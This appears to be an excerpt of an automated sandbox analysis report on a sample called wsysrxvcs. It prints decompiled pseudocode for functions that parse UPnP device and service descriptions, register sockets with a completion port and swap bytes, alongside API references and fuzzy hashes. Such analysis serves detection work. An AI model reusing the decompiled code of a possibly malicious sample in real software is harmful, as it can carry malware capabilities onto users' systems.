                                                                                                                                                                                                                                                                                                                                                      0x0040c693
                                                                                                                                                                                                                                                                                                                                                      0x0040c6b4
                                                                                                                                                                                                                                                                                                                                                      0x0040c6bf
                                                                                                                                                                                                                                                                                                                                                      0x0040c6c4
                                                                                                                                                                                                                                                                                                                                                      0x0040c6c7
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c6d0
                                                                                                                                                                                                                                                                                                                                                      0x0040c6da
                                                                                                                                                                                                                                                                                                                                                      0x0040c6e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c6eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c703
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x0040c741
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c733
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c63a
                                                                                                                                                                                                                                                                                                                                                      0x0040c748
                                                                                                                                                                                                                                                                                                                                                      0x0040c74e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,service), ref: 0040C6AC
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C6FB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C70F
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C727
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: service$serviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3667235276
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 59d80f984898475ead3a5eefdc860fbca65ddb4d01a08dfddf8149398c124503
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: eb7a5eddbf12148eb23c71802c8845ccc03d780cc3ce3bd31637004c877011bc
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 59d80f984898475ead3a5eefdc860fbca65ddb4d01a08dfddf8149398c124503
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B641CD75A0020ADFCB14DF98C894BAFB7B9BF48304F108669E515A7390D778AE81CF95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DE80 Relevance: 10.6, APIs: 7, Instructions: 95COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 89%
                                                                                                                                                                                                                                                                                                                                                      			E0040DE80(intOrPtr __eax, void* _a4) {
				void* __esi;
				intOrPtr _t20;
				long _t28;
				long _t37;
				intOrPtr _t45;
				struct _CRITICAL_SECTION* _t48;
				long _t49;
				void* _t53;
				void* _t54;
				void* _t55;

				_t53 = _a4;
				_t45 = __eax;
				if(_t53 != 0xffffffff) {
					_t48 = __eax + 0x20;
					_t37 = 0;
					EnterCriticalSection(_t48);
					_t20 =  *((intOrPtr*)(_t45 + 0x38));
					if(_t20 != 0) {
						while( *((intOrPtr*)(_t20 + 0x260)) != _t53) {
							_t20 =  *((intOrPtr*)(_t20 + 0x280));
							if(_t20 != 0) {
								continue;
							} else {
							}
							goto L7;
						}
						_t37 = 1;
					}
					L7:
					LeaveCriticalSection(_t48);
					if(_t37 == 0) {
						_t49 = E004089F0(0x284);
						_t55 = _t54 + 4;
						if(_t49 == 0) {
							L13:
							E004094F0(_t53);
							return _t49;
						} else {
							_t7 = _t49 + 0x264; // 0x264
							 *_t49 = 0x69636c69;
							 *(_t49 + 0x260) = _t53;
							_a4 = 0x10;
							__imp__#5(_t53, _t7,  &_a4);
							if(CreateIoCompletionPort( *(_t49 + 0x260),  *(_t45 + 8), _t49, 0) !=  *(_t45 + 8)) {
								E00408B60(_t49);
								_t55 = _t55 + 4;
								_t49 = 0;
								goto L13;
							} else {
								_t28 = E0040BD50();
								_t13 = _t49 + 4; // 0x4
								InterlockedExchange(_t13, _t28);
								_t14 = _t49 + 0x244; // 0x244
								_t15 = _t49 + 8; // 0x8
								 *((intOrPtr*)(_t49 + 0x27c)) = _t45;
								 *((intOrPtr*)(_t49 + 0x224)) = 0x200;
								 *((intOrPtr*)(_t49 + 0x228)) = _t15;
								InitializeCriticalSection(_t14);
								InterlockedIncrement(_t45 + 0x3c);
								E0040DDA0(_t49);
								return _t49;
							}
						}
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}













                                                                                                                                                                                                                                                                                                                                                      0x0040de81
                                                                                                                                                                                                                                                                                                                                                      0x0040de86
                                                                                                                                                                                                                                                                                                                                                      0x0040de8b
                                                                                                                                                                                                                                                                                                                                                      0x0040de94
                                                                                                                                                                                                                                                                                                                                                      0x0040de98
                                                                                                                                                                                                                                                                                                                                                      0x0040de9a
                                                                                                                                                                                                                                                                                                                                                      0x0040dea0
                                                                                                                                                                                                                                                                                                                                                      0x0040dea5
                                                                                                                                                                                                                                                                                                                                                      0x0040dea7
                                                                                                                                                                                                                                                                                                                                                      0x0040deaf
                                                                                                                                                                                                                                                                                                                                                      0x0040deb7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040deb9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040deb7
                                                                                                                                                                                                                                                                                                                                                      0x0040debb
                                                                                                                                                                                                                                                                                                                                                      0x0040debb
                                                                                                                                                                                                                                                                                                                                                      0x0040debd
                                                                                                                                                                                                                                                                                                                                                      0x0040debe
                                                                                                                                                                                                                                                                                                                                                      0x0040dec6
                                                                                                                                                                                                                                                                                                                                                      0x0040ded9
                                                                                                                                                                                                                                                                                                                                                      0x0040dedb
                                                                                                                                                                                                                                                                                                                                                      0x0040dee0
                                                                                                                                                                                                                                                                                                                                                      0x0040df7d
                                                                                                                                                                                                                                                                                                                                                      0x0040df7e
                                                                                                                                                                                                                                                                                                                                                      0x0040df8c
                                                                                                                                                                                                                                                                                                                                                      0x0040dee6
                                                                                                                                                                                                                                                                                                                                                      0x0040deeb
                                                                                                                                                                                                                                                                                                                                                      0x0040def3
                                                                                                                                                                                                                                                                                                                                                      0x0040def9
                                                                                                                                                                                                                                                                                                                                                      0x0040deff
                                                                                                                                                                                                                                                                                                                                                      0x0040df07
                                                                                                                                                                                                                                                                                                                                                      0x0040df24
                                                                                                                                                                                                                                                                                                                                                      0x0040df73
                                                                                                                                                                                                                                                                                                                                                      0x0040df78
                                                                                                                                                                                                                                                                                                                                                      0x0040df7b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040df26
                                                                                                                                                                                                                                                                                                                                                      0x0040df26
                                                                                                                                                                                                                                                                                                                                                      0x0040df2c
                                                                                                                                                                                                                                                                                                                                                      0x0040df30
                                                                                                                                                                                                                                                                                                                                                      0x0040df36
                                                                                                                                                                                                                                                                                                                                                      0x0040df3c
                                                                                                                                                                                                                                                                                                                                                      0x0040df40
                                                                                                                                                                                                                                                                                                                                                      0x0040df46
                                                                                                                                                                                                                                                                                                                                                      0x0040df50
                                                                                                                                                                                                                                                                                                                                                      0x0040df56
                                                                                                                                                                                                                                                                                                                                                      0x0040df60
                                                                                                                                                                                                                                                                                                                                                      0x0040df66
                                                                                                                                                                                                                                                                                                                                                      0x0040df71
                                                                                                                                                                                                                                                                                                                                                      0x0040df71
                                                                                                                                                                                                                                                                                                                                                      0x0040df24
                                                                                                                                                                                                                                                                                                                                                      0x0040dec8
                                                                                                                                                                                                                                                                                                                                                      0x0040dece
                                                                                                                                                                                                                                                                                                                                                      0x0040dece
                                                                                                                                                                                                                                                                                                                                                      0x0040de8e
                                                                                                                                                                                                                                                                                                                                                      0x0040de91
                                                                                                                                                                                                                                                                                                                                                      0x0040de91

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(?,?,?,?,?,0040E38B,00000000), ref: 0040DE9A
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(?,?,?,0040E38B,00000000), ref: 0040DEBE
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeave
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3168844106-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0c2096daf1393d3c15d2b8a75bfec13089ecb294718678941b7e2f24bff1bd89
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 12da6a6ca49d2e76b8b7d06f0787455340914cdda03b6f1faf322cbadc699af4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0c2096daf1393d3c15d2b8a75bfec13089ecb294718678941b7e2f24bff1bd89
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3431D172601605AFC710AFB5EC88AE7B7E8FF44725F00853EF54AD6241DB39B4488B99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C811 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 55%
                                                                                                                                                                                                                                                                                                                                                      			E0040C811() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"device") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C0F0( *(_t85 - 0x10), L"deviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}




                                                                                                                                                                                                                                                                                                                                                      0x0040c811
                                                                                                                                                                                                                                                                                                                                                      0x0040c811
                                                                                                                                                                                                                                                                                                                                                      0x0040c811
                                                                                                                                                                                                                                                                                                                                                      0x0040c817
                                                                                                                                                                                                                                                                                                                                                      0x0040c820
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c826
                                                                                                                                                                                                                                                                                                                                                      0x0040c826
                                                                                                                                                                                                                                                                                                                                                      0x0040c830
                                                                                                                                                                                                                                                                                                                                                      0x0040c834
                                                                                                                                                                                                                                                                                                                                                      0x0040c83d
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c923
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c855
                                                                                                                                                                                                                                                                                                                                                      0x0040c85f
                                                                                                                                                                                                                                                                                                                                                      0x0040c868
                                                                                                                                                                                                                                                                                                                                                      0x0040c873
                                                                                                                                                                                                                                                                                                                                                      0x0040c883
                                                                                                                                                                                                                                                                                                                                                      0x0040c894
                                                                                                                                                                                                                                                                                                                                                      0x0040c896
                                                                                                                                                                                                                                                                                                                                                      0x0040c8a7
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040c8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ba
                                                                                                                                                                                                                                                                                                                                                      0x0040c8c3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8cb
                                                                                                                                                                                                                                                                                                                                                      0x0040c8d3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8e8
                                                                                                                                                                                                                                                                                                                                                      0x0040c8eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ef
                                                                                                                                                                                                                                                                                                                                                      0x0040c8f5
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c901
                                                                                                                                                                                                                                                                                                                                                      0x0040c8ae
                                                                                                                                                                                                                                                                                                                                                      0x0040c903
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c907
                                                                                                                                                                                                                                                                                                                                                      0x0040c90d
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x0040c915
                                                                                                                                                                                                                                                                                                                                                      0x0040c921
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c921
                                                                                                                                                                                                                                                                                                                                                      0x0040c911
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c845
                                                                                                                                                                                                                                                                                                                                                      0x0040c928
                                                                                                                                                                                                                                                                                                                                                      0x0040c92e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,device), ref: 0040C88C
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C8DB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C8EF
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C907
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: device$deviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3511266565
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 82c5ac02605d2aed928da70b19d60524d164bcf2e075ee78b110d76732ef659b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3ebf5e03963a8586373660b136979e6d84cbcce20fdb350c5d7eb0773605ca86
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 82c5ac02605d2aed928da70b19d60524d164bcf2e075ee78b110d76732ef659b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BC31DCB5E0020ADFCB14DF98D884BAFB7B5BF88305F108669E515B73A0D7789981CB94
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C631 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 55%
                                                                                                                                                                                                                                                                                                                                                      			E0040C631() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"service") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C0F0( *(_t85 - 0x10), L"serviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}




                                                                                                                                                                                                                                                                                                                                                      0x0040c631
                                                                                                                                                                                                                                                                                                                                                      0x0040c631
                                                                                                                                                                                                                                                                                                                                                      0x0040c631
                                                                                                                                                                                                                                                                                                                                                      0x0040c637
                                                                                                                                                                                                                                                                                                                                                      0x0040c640
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c646
                                                                                                                                                                                                                                                                                                                                                      0x0040c646
                                                                                                                                                                                                                                                                                                                                                      0x0040c650
                                                                                                                                                                                                                                                                                                                                                      0x0040c654
                                                                                                                                                                                                                                                                                                                                                      0x0040c65d
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c743
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c675
                                                                                                                                                                                                                                                                                                                                                      0x0040c67f
                                                                                                                                                                                                                                                                                                                                                      0x0040c688
                                                                                                                                                                                                                                                                                                                                                      0x0040c693
                                                                                                                                                                                                                                                                                                                                                      0x0040c6a3
                                                                                                                                                                                                                                                                                                                                                      0x0040c6b4
                                                                                                                                                                                                                                                                                                                                                      0x0040c6b6
                                                                                                                                                                                                                                                                                                                                                      0x0040c6c7
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c6d0
                                                                                                                                                                                                                                                                                                                                                      0x0040c6d0
                                                                                                                                                                                                                                                                                                                                                      0x0040c6da
                                                                                                                                                                                                                                                                                                                                                      0x0040c6e3
                                                                                                                                                                                                                                                                                                                                                      0x0040c6eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c6f3
                                                                                                                                                                                                                                                                                                                                                      0x0040c703
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c708
                                                                                                                                                                                                                                                                                                                                                      0x0040c70b
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c70f
                                                                                                                                                                                                                                                                                                                                                      0x0040c715
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c721
                                                                                                                                                                                                                                                                                                                                                      0x0040c6ce
                                                                                                                                                                                                                                                                                                                                                      0x0040c723
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c727
                                                                                                                                                                                                                                                                                                                                                      0x0040c72d
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x0040c735
                                                                                                                                                                                                                                                                                                                                                      0x0040c741
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c741
                                                                                                                                                                                                                                                                                                                                                      0x0040c731
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c665
                                                                                                                                                                                                                                                                                                                                                      0x0040c748
                                                                                                                                                                                                                                                                                                                                                      0x0040c74e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,service), ref: 0040C6AC
                                                                                                                                                                                                                                                                                                                                                      • lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C6FB
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C70F
                                                                                                                                                                                                                                                                                                                                                      • SysFreeString.OLEAUT32(00000000), ref: 0040C727
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: FreeStringlstrcmpi
                                                                                                                                                                                                                                                                                                                                                      • String ID: service$serviceType
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1602765415-3667235276
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 331b25e761f93d1973bfbd131952badf4a404cb2a800d5d12eff0fb6ce826fd5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 735fb1b043b658a763f7a823a4672d8be2f2987cbfa5aee5cbb27b9fc60002fd
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 331b25e761f93d1973bfbd131952badf4a404cb2a800d5d12eff0fb6ce826fd5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1931CA75A0020ADFCB14CF98D884BAFB7B5BF88304F108269E515A73A0D7789A81CF95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00407870 Relevance: 9.1, APIs: 6, Instructions: 60COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00407870(signed int _a4, signed int _a8) {

				L0040ECEE();
				L0040ECE8();
				_a4 = _a4 | _a4;
				_a8 = _a8 | _a8;
				L0040ECEE();
				L0040ECE8();
				_a4 = _a4 & 0x0000ffff | _a4 & 0xffff0000;
				_a8 = _a8 & 0x0000ffff | _a8 & 0xffff0000;
				L0040ECEE();
				L0040ECE8();
				_a4 = _a4 & 0x00ff00ff | _a4 & 0xff00ff00;
				_a8 = _a8 & 0x00ff00ff | _a8 & 0xff00ff00;
				return _a4;
			}



                                                                                                                                                                                                                                                                                                                                                      0x0040787d
                                                                                                                                                                                                                                                                                                                                                      0x0040788e
                                                                                                                                                                                                                                                                                                                                                      0x00407897
                                                                                                                                                                                                                                                                                                                                                      0x0040789a
